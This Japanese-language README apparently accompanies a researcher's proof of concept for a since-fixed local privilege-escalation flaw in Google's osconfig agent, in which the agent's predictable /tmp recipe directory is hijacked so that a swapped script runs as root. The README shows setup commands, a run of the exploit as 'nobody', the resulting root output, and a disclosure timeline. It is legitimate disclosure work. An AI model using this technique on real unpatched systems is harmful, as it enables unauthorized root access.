
GoogleのOsconfigで特定された特権昇格の脆弱性に関する概念実証
google_osconfig_agent プロセスは、GoogleCloudPlatform (https://github.com/GoogleCloudPlatform/osconfig) ツールのコンポーネントであり、各 VM 上でデフォルトで実行されます。このエージェントは root として実行され、OS config (https://cloud.google.com/compute/docs/os-config-management) を含むいくつかのユーザー制御可能なサービスを担当しています。OS config は、Google によるポーリングベースの望ましい状態構成の実装のようなものです。
このリポジトリは、私が実装内で特定した権限昇格の欠陥に関するデモを公開しています (その後 Google によって修正されました)。
実行されるタスクはレシピ (recipe) と呼ばれ、サポートされているレシピタイプの 1 つはシェルスクリプトの実行です。このようなレシピを処理する際、root として全権限で実行されているエージェントは、ファイルを一時的に /tmp ディレクトリに保存し、その後それらを実行します。エージェントが作成したディレクトリは乗っ取られる可能性があり、それによって実行されるスクリプトを置き換えることができ、結果としてローカルでの権限昇格につながります。
gcloud services enable osconfig.googleapis.com
gcloud compute project-info add-metadata --metadata=enable-osconfig=TRUE
# cat /tmp/poc.txt
cat: /tmp/poc.txt: No such file or directory
# pip3 install inotify_simple
# chroot --userspec=nobody:nogroup / /home/radimre83/osconfig-privesc-poc3.py
Running as 65534
calling inotify.read()
...
gcloud beta compute os-config guest-policies create test-policy-poc --file="C:\Projects\gcp-app-engine-experiments\compute-engine\osconfig-policy-poc.yaml"
Event(wd=1, mask=1073742080, cookie=0, name='recipe-runscript')
New recipe: recipe-runscript2, rename: /tmp/osconfig_software_recipes.mali1596821311/xxx-recipe-name -> /tmp/osconfig_software_recipes.mali1596821311/recipe-runscript
New rundir recipe-runscript2, rename: /tmp/osconfig_software_recipes.mali1596821311/recipe-runscript/xxx-rundir -> /tmp/osconfig_software_recipes.mali1596821311/recipe-runscript/run_1596821899000709826
# cat /tmp/poc.txt
uid=0(root) gid=0(root) groups=0(root),1000(google-sudoers)
OS: デフォルトの Debian 10 イメージを使用した GCE の f1-micro インスタンス。
Google は、予測可能な一時ディレクトリの代わりにランダムな一時ディレクトリを使用するようになりました。
修正版は 2020-09-05 にリリースされました。OS パッケージをアップグレードする必要があります。
これはローカル権限昇格の脆弱性であるため、影響を受ける GCE VM 上で既にコード実行権限を持つ者が悪用できる可能性があります:
低権限シェルを持つユーザー
侵害済みのネットワークサービスを介した攻撃者
重要なポイントは、「ベースディレクトリ」(/tmp/osconfig_software_recipes) を乗っ取ることです。これは、現在のセッションでまだレシピが処理されていない場合に可能であり、つまり以下のことを意味します:
これまでにレシピがまったく実行されていない (例: osconfig 機能が使用されていなかったが、後で使用される予定がある)
VM が再起動され、すべてのレシピが DB (/var/lib/google/osconfig_recipedb) に存在するが、後で何らかのポリシー更新が実行される
この特別な組み合わせにより、実際に悪用される可能性は確かに低くなりますが、ここで /tmp 内の作業ディレクトリを利用することは安全ではないと思います。(Google も同様に考えており、この問題はその後修正されています。)
2020-08-07: 問題を発見し報告
2020-08-08: Google によってトリアージされ、優先度が P1 に変更
2020-08-10: Google によって確認され ("🎉 ナイスキャッチ!")、優先度が P2 に、深刻度が S2 に変更
2020-08-14: VRP プロセスに関する更新
2020-09-05: Google によって問題が修正されました
Imre Rad
https://github.com/GoogleCloudPlatform/osconfig
https://issuetracker.google.com/issues/163147689
https://github.com/GoogleCloudPlatform/osconfig/commit/fa7e4ba5ee85be212ffbac66d96862c792bd270c